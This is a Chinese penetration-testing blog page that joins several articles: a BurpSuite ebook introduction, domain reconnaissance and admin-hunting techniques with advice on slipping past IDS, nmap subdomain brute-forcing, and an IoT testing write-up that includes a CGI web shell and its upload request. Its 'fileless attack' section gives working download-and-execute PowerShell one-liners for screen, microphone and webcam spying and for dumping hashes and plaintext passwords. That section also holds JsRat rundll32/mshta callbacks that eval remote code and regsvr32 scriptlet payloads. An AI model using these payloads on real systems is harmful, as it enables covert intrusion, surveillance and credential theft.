分类 渗透测试 下的文章

BurpSuite 实战指南

前言

刚接触web安全的时候,非常想找到一款集成型的渗透测试工具,找来找去,最终选择了Burp Suite,除了它功能强大之外,还有就是好用,易于上手。于是就从网上下载了一个破解版的来用,记得那时候好像是1.2版本,功能也没有现在这么强大。在使用的过程中,慢慢发现,网上系统全量的介绍BurpSuite的书籍太少了,大多是零星、片段的讲解,不成体系。后来慢慢地出现了不少介绍BurpSuite的视频,现状也变得越来越好。但每每遇到不知道的问题时,还是不得不搜寻BurpSuite的官方文档和英文网页来解决问题,也正是这些问题,慢慢让我觉得有必要整理一套全面的BurpSuite中文教程,算是为web安全界做尽自己的一份微薄之力,也才有了你们现在看到的这一系列文章。

我给这些文章取了IT行业图书比较通用的名称: 《BurpSuite实战指南》,您可以称我为中文编写者,文章中的内容主要源于BurpSuite官方文档和多位国外安全大牛的经验总结,我只是在他们的基础上,结合我的经验、理解和实践,编写成现在的中文教程。本书我也没有出版成纸质图书的计划,本着IT人互联分享的精神,放在github,做免费的电子书。于业界,算一份小小的贡献;于自己,算一次总结和锻炼。

章节内容

第一部分 Burp Suite 基础

  1. Burp Suite 安装和环境配置
  2. Burp Suite代理和浏览器设置
  3. 如何使用Burp Suite 代理
  4. SSL和Proxy高级选项
  5. 如何使用Burp Target
  6. 如何使用Burp Spider
  7. 如何使用Burp Scanner
  8. 如何使用Burp Intruder
  9. 如何使用Burp Repeater
  10. 如何使用Burp Sequencer
  11. 如何使用Burp Decoder
  12. 如何使用Burp Comparer

第二部分 Burp Suite 高级

  1. 数据查找和拓展功能的使用
  2. BurpSuite全局参数设置和使用
  3. Burp Suite应用商店插件的使用
  4. 如何编写自己的Burp Suite插件

第三部分 Burp Suite 综合使用

  1. 使用Burp Suite测试Web Services服务
  2. 使用Burp, Sqlmap进行自动化SQL注入渗透测试
  3. 使用Burp、PhantomJS进行XSS检测
  4. 使用Burp 、Android Killer进行安卓app渗透测试

下载地址

Gitbook在线地址:https://www.gitbook.com/book/t0data/burpsuite/details

国内网盘地址:https://pan.baidu.com/s/1eS2w8z4

感谢您阅读此书,阅读过程中,如果发现错误的地方,欢迎发送邮件到 t0data@hotmail.com,感谢您的批评指正。

内网渗透定位技术总结

0x01 前言

说起内网定位,无论针对内网查找资料还是针对特殊人物都是非常实用的一项技术。这里把目前能够利用的手段&工具都一一进行讲解。

0x02 服务器(机器)定位

收集域以及域内用户信息

  • 收集域内域控制器信息
  • 收集域控上域用户登录日志信息
  • 收集域内所有用户名以及全名、备注等信息
  • 收集域内工作组信息
  • 收集域管理员帐号信息
  • 收集域内网段划分信息
  • 收集域内组织单位信息

常用收集域信息命令:

Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息

net view 看机器注释或许能得到当前活动状态的机器列表,tasklist可以得到当前机器跑着的域账号。

结构分析

从计算机名获取ipv4地址:

使用nbtstat命令可以实现:nbtstat -a DC1,ping命令也可以实现:

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
 Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 0ms, Maximum = 0ms, Average = 0ms

如果计算机名很多的时候,可以利用bat批量ping获取ip:

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

10.jpg

最后可以把所有得到domain admins账号再net user 下,为这些信息按内容分别建立文件进行分析。

例如:

  • Users.txt 存放和用户信息有关的内容
  • Group.txt 存放和分组信息相关的内容

信息收集的姿势:

  • 人事组织结构图

例如:

789243degw1eift8ttyncj20q60a1adc_meitu_1.jpg

像这种人事组织结构图,很多公司和企业的外部站点上就有。然后结合分析人事资料里相关员工全称与域内用户名对应关系,就能很快定位到需要定位的人员使用的机器。

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提取有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 工具

常用工具:Dsquery/Dsget,Ldifde,Csvde,Adexplorer,Adfind,wmi,powershell…

工具使用参考:初级域渗透系列 – 01. 基本介绍&信息获取

注:控制扫描的频率和速度,可以大大降低触发IDS的风险,针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则,同时可以考虑使用内网管理工具使用的相同协议进行扫描探测。Tips:

内网无工具扫描

http://rinige.com/index.php/archives/112/

一条 cmd 命令解决:

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

ping 整个 c 段,只输出有响应的主机。

% H" g% Q+ _6 q- P7 t

更变态的:

4 o4 g8 X- v9 x& w

域机器对应 IP

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | 
find /i "ttl" & echo.)

把 net view 的结果,挨个 ping 一遍,并输出机器名和 ip 地址。

找主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B 段查找

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

Win7

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

改成

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

就可以兼容 Win7 了。(Win7 ping -a 输出结果关键词为 “Ping”)

另外findstr /i “pinging” 或 findstr /i “ping” 可以换成 findstr “[” 的 可以适合多语言环境

0x03 文件定位

结合服务器定位总结出文件定位的大致思路:

  • 定位人力资源主管个人机
  • 定位人力资源相关文档存放位置
  • 从人力资源文档中找相关人
  • 定位相关人的机器
  • 监视相关人工作时存放文档的位置
  • 列出存放文档服务器的目录

20161201183217_meitu_2.jpg

文件定位需要注意的点:

  • 产品名称
  • 内部名称
  • 项目负责人
  • 项目团队
  • 生产部(分公司,工厂,代工厂)

经验

  1. FTP
  2. SMB
  3. DCNETLOGON\
  4. 产品管理系统(仓库管理系统)
  5. 各种数据库
  6. 其他服务器(分公司,工厂,代工厂)

定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。

参考:后渗透攻防的信息收集

0x04 管理员定位

工具

psloggedon.exe

系统自带工具。通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限

psloggedon.png

netsess.exe

netsess.exe的原理也是调用NetSessionEnum API,并且在远程主机上无需管理员权限。

netsess.png

PVEFindADUser.exe

用于枚举域用户以及登陆过特定系统的用户,需要管理员权限。工具描述:corelan

pvefindaduser.png

netview.exe

使用WinAPI枚举系统,利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。

netview.png

Nmap的Nse脚本

如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 脚本来获取远程机器的登录session,并且不需要管理员权限。

参考:

nmap.sessions.png

Smbexec&Veil-Pillage

然后Smbexec有个 checkda模块,它可以检测域管进程和域管登陆。Veil-Pillage有它的 user_hunter 和group_hunter 模块,这两个工具都需要管理员权限。

hunter

hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具,无需管理员权限

file.png

domain.png

delay.png

groups.png

users_per_group.png

Active Directory

你可以通过AD信息来识别一些连接到服务器的用户

参考:

PowerShell

上面也曾提到针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单。

参考:

PowerView

PowerView 里面有一些功能可以辅助找寻定位关键用户。要找到目标对应的用户时Get-UserProperties 将会提取所有用户的属性,并且Invoke-UserFieldSearch可以根据通配符来找寻特定用户的相关属性。这可以缩小目标搜索范围。比如说:我们使用这些功能来找Linux管理员组和其相关的成员,就可以追踪和键盘记录他们的putty/ssh会话。

Invoke-UserHunter 功能可以找到域内特定用户群。它支持一个用户名,用户列表,或域组查询,并支持一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和Get-NetLoggedon(调用NetSessionEnum和 NetWkstaUserEnum API) 对每个服务器跑一遍而且会比较结果筛选出目标用户集。而且这个工具不需要管理员权限。

命令参考:

Get-NetGroups -> Get-NetGroup
Get-UserProperties -> Get-UserProperty
Invoke-UserFieldSearch -> Find-UserField
Get-NetSessions -> Get-NetSession
Invoke-StealthUserHunter -> Invoke-UserHunter -Stealth
Invoke-UserProcessHunter -> Invoke-ProcessHunter -Username X
Get-NetProcesses -> Get-NetProcess
Get-UserLogonEvents -> Get-UserEvent
Invoke-UserEventHunter -> Invoke-EventHunter

userhunter.png

Invoke-StealthUserHunter 只要一个查询就可以获取域内所有用户, 从user.HomeDirectories提取所有用户, 并且会对每个服务器进行Get-NetSessions 获取。无需使用 Invoke-UserHunter对每台机器操作,这个办法的隐蔽性就更高一点,但是涉及到的机器面不一定那么全。

一般默认使用Invoke-StealthUserHunter ,除非找不到我们所需,才会去使用Invoke-UserHunter方法。

stealth.userhunter.png

Invoke-UserProcessHunter是PowerView 的新功能。利用Get-NetProcesses cmdlet 来枚举远程机器的tasklists和进程寻找目标用户。这个枚举功能需要管理员权限。

process_hunter.png

Get-UserLogonEvents cmdlet可以查询查询登录事件(如:ID 4624)远程主机,Invoke-UserEventHunter 查询特定用户在域控上面的登陆日志,需要域管理权限。

参考:

user_event_hunter.png

其他一些姿势

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提权有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 查找域管进程

Scott Sutherland (@_nullbind) 2012年写了篇查找域管进程的文章。 其中详细讲述了如何使用tasklist和nbtscan的批处理来扫描机器及用户。不过远程tasklist的时候,需要本地管理员权限。

参考:

hunt for domain admin processes

0x05 总结

内网渗透,不是简单的耍流氓的说”可内网渗透”或者“内网漫游”,有着更高更深的责任和需求,有着更多设备和报警及防护软件(如Bit9,惠普ARCsight,Mandiant等等)的突破,有着更多网络拓扑和结构需要清晰洞察,有着更多的域控和域需要占领。 定位到内网管理员或者管理员上过的机器或者定位到文件和某个人,对于内网渗透来说应该会事半功倍。

0x06 参考

使用Nmap和自定义子域名文件发现目标子域

如何使用nmap dns-brute脚本和自定义子域名文件发现目标子域

Nmap的dns-brute脚本能发现127个常见的子域,因此我经常使用它与一个自定义子域文件来发现最常见的1000, 10.000. 100.000 和 1.000.000 类型的子域.

命令如下:

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub10000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub100000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000000.lst

子域名文件

链接: http://pan.baidu.com/s/1geW5yD1 密码: t2rh

Amazon Example

nmap2.jpg

物联网(IOT)安全测试经验总结

前言

今年早些时候,我参与了许多关于物联网解决方案的安全测试。主要目标是找出体系结构和解决方案中的漏洞。在这篇文章中,我将讨论一些与物联网解决方案的问题和挑战。

什么是物联网?

在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间?(实际应用

物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”。

物联网体系结构

通常有这五个部分:

  • 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
  • 网关:用于收集传感器信息和控制中心
  • 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
  • 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
  • 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动

architecture.png

物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):

  • Wifi
  • Zwave
  • ZigBee
  • Bluetooth
  • RF433

protocol.png

每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。下面的表格显示了协议之间的快速对照:

20161115002526.png

主要的驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。

你可以从ZigBee安全技术白皮书中了解更多,这里也有一份相关文档

威胁矢量

任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。

2340.png

物联网中常见的漏洞

  • 未经身份验证的更新机制
  • SQL / JSON注入
  • 设计逻辑
  • 过于信任

未经身份验证的更新机制

更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2

请求:

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
 
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
 
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
 
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae

你应该能猜出接下来会发生什么:

codeexec.png

SQL/NoSQL injection

SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。这里没有案例分析,但可以看看这篇文章 websecurify.

设计逻辑和过于信任

由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:

  • 移动应用程序直接登录到数据库(所有设备使用相同的密码)
  • 本地网络通信不加密
  • 消息没有签名或进行加密
  • 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
  • 通过默默无闻的安全性
  • 内部开发的加密算法

我在这里的建议:

  • 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信息。一般使用审核和验证框架。
  • 如果设备在网络中托管,不要指望任何输入是值得信赖。
  • 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
  • API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
  • 即使是最知名的密码学家也不能保证自己算法的百分百安全。

很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。

一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。

encrypt.png

结论

人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。

一些物联网安全的解决方案参考:

最后分享个脚本,通过代理做一个从物联网网关到互联网的拦截。可以用于安全测试:

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080

内网无文件攻击姿势

Powershell

屏幕监控:

powershell -nop -exec bypass -c “IEX (New-Object 
Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’); Show-TargetScreen”

录音:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);GetMicrophoneAudio
-Path $env:TEMP\secret.wav -Length 10 -Alias ‘SECRET’”

摄像头监控:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1’); Capture-MiniEye -RecordTime 2 -
Path $env:temp\hack.avi”-Path $env:temp\hack.avi”

抓Hash:

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikat

Empire:

14555940166132.png

Metasploit:

metasploit.png

js

JsRat:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.
5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.S
end();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WSc
ript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

LocalNetworkScanner:

http://blog.skylined.nl/LocalNetworkScanner/

223801u4zcjrpsnwjnmj0j.png

获取客户端内网IP和外网IP(STUN)

http://github.com/diafygi/webrtc-ips

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};
 
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
 
    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;
 
    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
 
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
 
    //listen for candidate events
    pc.onicecandidate = function(ice){
 
        //skip non-candidate events
        if(ice.candidate){
 
            //match just the IP address
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
 
            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
 
            ip_dups[ip_addr] = true;
        }
    };
 
    //create a bogus data channel
    pc.createDataChannel("");
 
    //create an offer sdp
    pc.createOffer(function(result){
 
        //trigger the stun server request
        pc.setLocalDescription(result, function(){});
 
    }, function(){});
}
 
//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

Demo: http://diafygi.github.io/webrtc-ips/

mshta

启动JsRat:

Mshta javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp
.WinHttpRequest.5.1");h.Open("GET","http://192.16
8.2.101:9998/connect",false);try{h.Send();b=h.Res
ponseText;eval(b);}catch(e){new%20ActiveXObject("
WScript.Shell").Run("cmd /c taskkill /f /im
mshta.exe",0,true);}

运行JSRAT:

regsvr32 /s /n /u /i:http://urlto/JSRAT.sct scrobj.dll

JSRAT.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
        new ActiveXObject("WScript.Shell").Run(rat,0,true);
    
        ]]>
</script>
</registration>
</scriptlet>

sct

SCT:

regsvr32 /u /s
/i:http://urlto/calc.sct scrobj.dll

calc.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

wsc

Wsc:

rundll32.exe
javascript:"\..\mshtml,RunHTMLApplic
ation
";document.write();GetObject("script
:http://urlto/calc.wsc")

calc.wsc

<?xml version="1.0"?>

<package>
<component id="testCalc">

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script>

</component>
</package>